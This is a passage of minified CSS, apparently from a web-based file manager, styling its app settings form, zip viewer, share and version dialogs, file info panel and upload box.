164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));color:#fff;display:inline-block;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}.zip-view-dialog .aui-content{min-width:400px;position:relative;}.zip-view-dialog .aui-title{height:90px;}.zip-view-dialog .zip-view-content{position:absolute;left:0;right:0;bottom:0;top:0px;margin:0px;min-width:400px;border:none;}.zip-view-dialog .zip-view-content .header{height:90px;background-color:#2c41b3;background-image:linear-gradient(to bottom,#2c41b3 0,#222b5d 100%);color:#fff;position:relative;}.zip-view-dialog .zip-view-content .header .bg{background:url("../../../images/common/banner/fly.png") 100px -300px;width:100%;height:100%;position:absolute;}.zip-view-dialog .zip-view-content .header .icon{width:56px;height:56px;position:absolute;left:20px;top:20px;}.zip-view-dialog .zip-view-content .header .name,.zip-view-dialog .zip-view-content .header .desc{position:absolute;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:80%;}.zip-view-dialog .zip-view-content .header .name{margin:22px 0 0 90px;font-size:18px;font-weight:800;}.zip-view-dialog .zip-view-content .header .desc{margin:50px 0 0 90px;}.zip-view-dialog .zip-view-content .zip-header-title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zip-view-dialog .zip-view-content .zip-header-title .item{float:left;}.zip-view-dialog .zip-view-content .zip-header-title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zip-view-dialog .zip-view-content .zip-header-title .name{width:60%;}.zip-view-dialog .zip-view-content .zip-header-title .size{width:10%;}.zip-view-dialog .zip-view-content .zip-header-title .mtime{width:30%;}.zip-view-dialog .zip-view-content .zip-header-title .item.mtime span{border-right:none;}.zip-view-dialog .zip-view-content .ztree{padding:0px;position:absolute;top:115px;left:0;right:0px;bottom:0;overflow:auto;}.zip-view-dialog .zip-view-content .ztree li,.zip-view-dialog .zip-view-content .ztree li ul{width:100%;}.zip-view-dialog .zip-view-content .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zip-view-dialog .zip-view-content .ztree li a:hover{transition:none;}.zip-view-dialog .zip-view-content .ztree li a.odd{background:#f1f7ff;}.zip-view-dialog .zip-view-content .ztree li a:hover,.zip-view-dialog .zip-view-content .ztree li a.odd:hover{background:#fdeec3;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode,.zip-view-dialog .zip-view-content .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zip-view-dialog .zip-view-content .ztree li a .name{width:45%;overflow:hidden;position:absolute;word-break:break-all;text-overflow:ellipsis;}.zip-view-dialog .zip-view-content .ztree li a .time{width:27%;opacity:0.8;font-size:12px;position:absolute;left:72%;}.zip-view-dialog .zip-view-content .ztree li a .size{width:10%;opacity:0.8;font-size:12px;position:absolute;left:62%;}.zip-view-dialog .zip-view-content .ztree li a .menu-item-parent{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zip-view-dialog .zip-view-content .ztree li a:hover .menu-item-parent{display:block;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode .menu-item-parent{display:block;color:#fff;}.dialog-min-size.zip-view-dialog .aui-title{height:auto !important;}.dialog-min-size.zip-view-dialog .aui-header .aui-min,.dialog-min-size.zip-view-dialog .aui-header .aui-max,.dialog-min-size.zip-view-dialog .aui-header .aui-close{color:#ddd;}.support-space-not .share-dialog .content-box .content-info{padding:30px 20px 30px 20px;}.support-space-not .system-content .right-frame .group-title .group-size{display:none !important;}.support-space-not .size-max-set,.support-space-not .user-setting-more-btn,.support-space-not .user-setting-more{display:none;}.support-space-not .user-list .space,.support-space-not .share-view-info,.support-space-not .user-space-info{display:none;}.support-space-not .frame-main .user-space-info{display:none;}.support-space-not .frame-main .frame-left .group-space-use{display:none;}.support-space-not .frame-main .frame-left #folder-list-tree{bottom:70px;}.dropdown-menu.menu-topbar-user{right:6px;}.version-vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version-vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version-vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version-vip#version_vip_3,.version-vip#version_vip_4,.version-vip#version_vip_5,.version-vip#version_vip_6{color:#fff;background:#ffc107;}.version-vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version-license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version-license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#FF9800;background:linear-gradient(to top left,#FF9800,#FF5722);text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.9;filter:alpha(opacity=90);}.version-license a.line:hover{opacity:0.7;filter:alpha(opacity=70);}.path-select-input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.aui-state-lock .aui-min{display:none;}.dialog-copyright{width:400px !important;}.dialog-copyright,.share-dialog,.check-version-dialog{min-width:400px;}.dialog-copyright.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border-radius:5px;border:none;}.dialog-copyright.dialog-simple .aui-outer,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in,.share-dialog.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in,.check-version-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-main,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.share-dialog.dialog-simple .aui-outer .aui-main,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.check-version-dialog.dialog-simple .aui-outer .aui-main,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-header,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.share-dialog.dialog-simple .aui-outer .aui-header,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.check-version-dialog.dialog-simple .aui-outer .aui-header,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header{border:none;}.dialog-copyright.dialog-simple .aui-header,.share-dialog.dialog-simple .aui-header,.check-version-dialog.dialog-simple .aui-header{background:transparent;opacity:1.0;filter:alpha(opacity=100);border:none;}.dialog-copyright.dialog-simple .aui-nw,.dialog-copyright.dialog-simple .aui-n,.dialog-copyright.dialog-simple .aui-ne,.dialog-copyright.dialog-simple .aui-w,.dialog-copyright.dialog-simple .aui-e,.dialog-copyright.dialog-simple .aui-sw,.dialog-copyright.dialog-simple .aui-s,.dialog-copyright.dialog-simple .aui-se,.share-dialog.dialog-simple .aui-nw,.share-dialog.dialog-simple .aui-n,.share-dialog.dialog-simple .aui-ne,.share-dialog.dialog-simple .aui-w,.share-dialog.dialog-simple .aui-e,.share-dialog.dialog-simple .aui-sw,.share-dialog.dialog-simple .aui-s,.share-dialog.dialog-simple .aui-se,.check-version-dialog.dialog-simple .aui-nw,.check-version-dialog.dialog-simple .aui-n,.check-version-dialog.dialog-simple .aui-ne,.check-version-dialog.dialog-simple .aui-w,.check-version-dialog.dialog-simple .aui-e,.check-version-dialog.dialog-simple .aui-sw,.check-version-dialog.dialog-simple .aui-s,.check-version-dialog.dialog-simple .aui-se{height:0px;width:0px;background:none;}.dialog-copyright.dialog-simple .aui-inner,.share-dialog.dialog-simple .aui-inner,.check-version-dialog.dialog-simple .aui-inner{border:none;background:none;}.dialog-copyright.dialog-simple .aui-title,.share-dialog.dialog-simple .aui-title,.check-version-dialog.dialog-simple .aui-title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.dialog-copyright.dialog-simple .aui-min,.dialog-copyright.dialog-simple .aui-max,.share-dialog.dialog-simple .aui-min,.share-dialog.dialog-simple .aui-max,.check-version-dialog.dialog-simple .aui-min,.check-version-dialog.dialog-simple .aui-max{display:none;}.dialog-copyright.dialog-simple .aui-title-bar,.share-dialog.dialog-simple .aui-title-bar,.check-version-dialog.dialog-simple .aui-title-bar{bottom:0px;overflow:hidden;height:100px;position:absolute;margin-top:-120px;top:120px;margin-left:0px;border-radius:4px;}.dialog-copyright.dialog-simple .aui-close,.share-dialog.dialog-simple .aui-close,.check-version-dialog.dialog-simple .aui-close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.dialog-copyright.dialog-simple .aui-close:hover,.share-dialog.dialog-simple .aui-close:hover,.check-version-dialog.dialog-simple .aui-close:hover{opacity:0.6;filter:alpha(opacity=60);}.dialog-copyright.dialog-simple .aui-close:active,.share-dialog.dialog-simple .aui-close:active,.check-version-dialog.dialog-simple .aui-close:active{opacity:1.0;filter:alpha(opacity=100);}.dialog-copyright.dialog-simple .aui-close::before,.share-dialog.dialog-simple .aui-close::before,.check-version-dialog.dialog-simple .aui-close::before{padding-left:22px;line-height:140px;}.dialog-copyright .aui-footer,.share-dialog .aui-footer,.check-version-dialog .aui-footer{display:none;}.check-version-dialog .update-box{margin-top:0px;}.share-dialog .content-box .content-info .input-line .open-window,.pathinfo .input-group-btn .open-window{margin-right:-1px;border-radius:0px;}.dialog-copyright .dialog-copyright-content,.check-version-dialog .aui-content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.dialog-copyright .dialog-copyright-content .title,.check-version-dialog .aui-content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.dialog-copyright .dialog-copyright-content .title .logo,.check-version-dialog .aui-content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.dialog-copyright .dialog-copyright-content .title .logo i,.check-version-dialog .aui-content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.dialog-copyright .dialog-copyright-content .title .info,.check-version-dialog .aui-content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.dialog-copyright .dialog-copyright-content .content,.check-version-dialog .aui-content .content{padding:20px;}.dialog-copyright .dialog-copyright-content .content p,.check-version-dialog .aui-content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.dialog-copyright .dialog-copyright-content .content a,.check-version-dialog .aui-content .content a{padding-right:5px;}.dialog-copyright .dialog-copyright-content .content div,.check-version-dialog .aui-content .content div{text-align:center;padding-bottom:5px;}.check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}.share-dialog .content-box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share-dialog .content-box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share-dialog .content-box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share-dialog .content-box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share-dialog .content-box .share-view-info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share-dialog .content-box .content-info{padding:10px;padding-left:20px;}.share-dialog .content-box .content-info .input-line{margin:6px 0 8px 0;position:relative;}.share-dialog .content-box .content-info .input-line .input-title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share-dialog .content-box .content-info .input-line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share-dialog .content-box .content-info .input-line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.share-dialog .content-box .content-info .input-line label{margin-top:8px;margin-right:10px;}.share-dialog .content-box .content-info .input-line label input{margin:0 5px 5px 0;}.share-dialog .content-box .content-info .input-line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share-dialog .content-box .content-info .input-line .share-name{width:215px;margin-right:10px;}.share-dialog .content-box .content-info .input-line .share-url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share-dialog .content-box .content-info .input-line .share-more{line-height:33px;}.share-dialog .content-box .content-info .input-line .input-group-btn{float:left;}.share-dialog .content-box .content-info .input-line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share-dialog .content-box .content-info .input-line .open-window{margin-left:-12px;}.share-dialog .content-box .content-info .input-line .share-copy{width:60px;border-radius:0px;margin-left:-7px;}.share-dialog .content-box .content-info .input-line.select-path input[type="text"]{width:155px;}.share-dialog .content-box .content-info .input-line.select-path a.select-btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share-dialog .content-box .content-info .share-others{margin:-8px 0 -8px 0;}.share-dialog .content-box .share-action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share-dialog .content-box .share-action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share-dialog .content-box .share-action .share-remove-button,.share-dialog .content-box .share-action .remove-button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share-dialog .content-box .share-action .share-remove-button:hover,.share-dialog .content-box .share-action .remove-button:hover{color:#f30;}.file-list-icon .file{position:relative;}.file-list-icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.file-list-icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.file-list-list .file{position:relative;}.file-list-list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.file-list-list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui-footer .aui-buttons{padding:15px;}.pathSelectApi .aui-footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.file-continer .file.file-not-readable,body div.file-continer .file.file-not-readable.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-readable,body .frame-main .frame-left .ztree li a.file-not-readable.file-not-writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url-link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui-content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download-url{padding:0px 5px;width:140px;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info-chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file-md5-loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.pathinfo .download-url{margin-right:0;border-radius:3px 0 0 3px;}.file-drag-upload .aui-content{overflow-y:scroll;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.movie-player-dialog{overflow:hidden;}.flash-player{width:100%;height:100%;}.wmp-player{width:0%;height:0%;}.movie-player-dialog .aui-content{background:#000;}.dialog-path-remove .aui-content{word-wrap:break-word;width:auto;}.server-dwonload-textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server-dwonload-textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.file-upload-box{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file-upload-box .topbar-nav{border-bottom:1px solid #ddd;margin-top:6px;}.file-upload-box .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file-upload-box .menu.this{background:#fff;border-bottom:1px solid #fff;}.file-upload-box .menu:hover{background:#fff;}.file-upload-box .upload-box{margin-top:10px;}.file-upload-box .download-btn-group{margin-left:-10px;margin-top:-3px;margin-top:-4px \9;}.file-upload-box .download-btn-group .download-start{border-radius:0px;}.file-upload-box .upload-box-tips .btn.btn-default{border-radius:3px;color:#555;}.file-upload-box .upload-box-tips .btn-group>.btn:last-child:not(:first-child),.file-upload-box .upload-box-tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file-upload-box div a.left{margin-left:10px;}.file-upload-box div a.right{position:absolute;right:5px;}.file-upload-box span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file-upload-box i{font-size:1em;color:#aaa;padding-left:10px;}.file-upload-box .list{margin:10px 15px 10px 0;}.file-upload-box .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file-upload-box .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file-upload-box .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file-upload-box .submit input:hover{background:#bbb;}.file-upload-box .submit input:active{background:#444;color:#fff;}.file-upload-box .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file-upload-box #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file-upload-box .webuploader-container{position:relative;}.file-upload-box .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file-upload-box .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file-upload-box .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .upload-cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file-upload-box .upload-cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file-upload-box .upload-cert-box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file-upload-box .upload-cert-box .dropdown-menu:before{right:inherit;left:10px;}.file-upload-box .upload-cert-box .dropdown-menu:after{right:inherit;left:11px;}.file-upload-box .upload-cert-box.open.upload-cert,.file-upload-box .upload-cert-box .upload-cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file-upload-box .btns{margin-bottom:10px;font-size:1em;height:28px;}.file-upload-box .btns .tips{float:right;line-height:30px;}.file-upload-box .btns #picker{float:left;}.file-upload-box .upload-box-tips{line-height:34px;color:#888;position:absolute;right:10px;}.file-upload-box .upload-box-config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file-upload-box .upload-box-config .upload-check-box{margin-left:10px;}.file-upload-box .upload-box-config label{margin-left:15px;}.file-upload-box .upload-box-config label input{margin-right:5px;}.file-upload-box .uploader-list .item,.file-upload-box .download-list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file-upload-box .uploader-list .item .info,.file-upload-box .download-list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file-upload-box .uploader-list .item .info span,.file-upload-box .uploader-list .item .info a,.file-upload-box .download-list .item .info span,.file-upload-box .download-list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file-upload-box .uploader-list .item .info .title,.file-upload-box .download-list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file-upload-box .uploader-list .item .info .size,.file-upload-box .download-list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file-upload-box .uploader-list .item .info .state,.file-upload-box .download-list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file-upload-box .uploader-list .item .info .font-icon,.file-upload-box .download-list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file-upload-box .uploader-list .item .info .font-icon:hover,.file-upload-box .download-list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file-upload-box .uploader-list .item .info .icon-ok,.file-upload-box .download-list .item .info .icon-ok{color:#40AA53;}.file-upload-box .uploader-list .item .info .error,.file-upload-box .download-list .item .info .error{color:#f30;}.file-upload-box .uploader-list .item.success,.file-upload-box .download-list .item.success{background:#eaf8ff;}.file-upload-box .uploader-list .item.error,.file-upload-box .download-list .item.error{background:#ffe8e6;}.file-upload-box .uploader-list .item .progress,.file-upload-box .download-list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file-upload-box .uploader-list .item .progress-bar,.file-upload-box .download-list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file-upload-box .uploader-list .success:hover,.file-upload-box .download-list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system-content .right-frame .user-list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do-search-box .search-header .btn-right{ margin:0px 0 0 -2px;height:25px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group-editor .tag input{ position:relative;top:-5px;} div.pathinfo .download-url{ height:30px;} div.file-list-icon .file .filename{ padding-top:0px;line-height:1.3em;} div.topbar .content .title.topbar-menu{ width:200px;} div.share-dialog .aui-border{ overflow:auto;} div.share-dialog .content-box .content-info .input-line.select-path a.select-btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}@media (max-width:743px){html #body .app-menu-left, html body .app-menu-left{ width:50px;min-width:50px;} html #body .app-menu-left .search{ opacity:0.001;} html #body .menu-left .setting a.selected, html body .menu-left .setting a.selected{ padding-left:0px;margin-left:-5px;} html #body .main.app-content, html body .main.app-content{ left:50px;} html #body .main.app-content .app-list, html body .main.app-content .app-list{ justify-content:space-around;} html .form-box 